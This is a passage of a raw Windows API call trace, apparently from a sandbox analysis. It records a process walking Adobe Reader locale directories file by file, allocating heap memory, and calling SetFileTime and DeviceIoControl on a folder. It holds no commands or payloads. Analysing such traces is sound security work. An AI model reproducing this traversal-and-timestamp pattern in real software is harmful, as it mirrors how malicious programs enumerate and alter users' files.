RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bc68 [0082.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286d68 [0082.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.311] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x155c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.NLD", cAlternateFileName="")) returned 1 [0082.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bc88 [0082.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1286e70 [0082.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.313] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.NLD", cAlternateFileName="")) returned 1 [0082.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.NLD", cAlternateFileName="")) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.NLD", cAlternateFileName="")) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.NLD", cAlternateFileName="")) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.NLD", cAlternateFileName="")) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NLD", cAlternateFileName="")) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.NLD", cAlternateFileName="")) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.NLD", cAlternateFileName="")) returned 1 [0082.314] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.NLD", cAlternateFileName="")) returned 0 [0082.314] GetLastError () returned 0x12 [0082.314] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0082.315] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x84200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x155c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.NLD", cAlternateFileName="")) returned 1 [0082.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.315] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.316] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0082.317] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.317] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.317] NtClose (Handle=0x16c) returned 0x0 [0082.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12877b8) returned 1 [0082.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12877b8 [0082.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12878c0 [0082.318] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0082.318] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.318] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x924e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12879c8 [0082.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125bda8 [0082.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1287ad0 [0082.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.320] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, 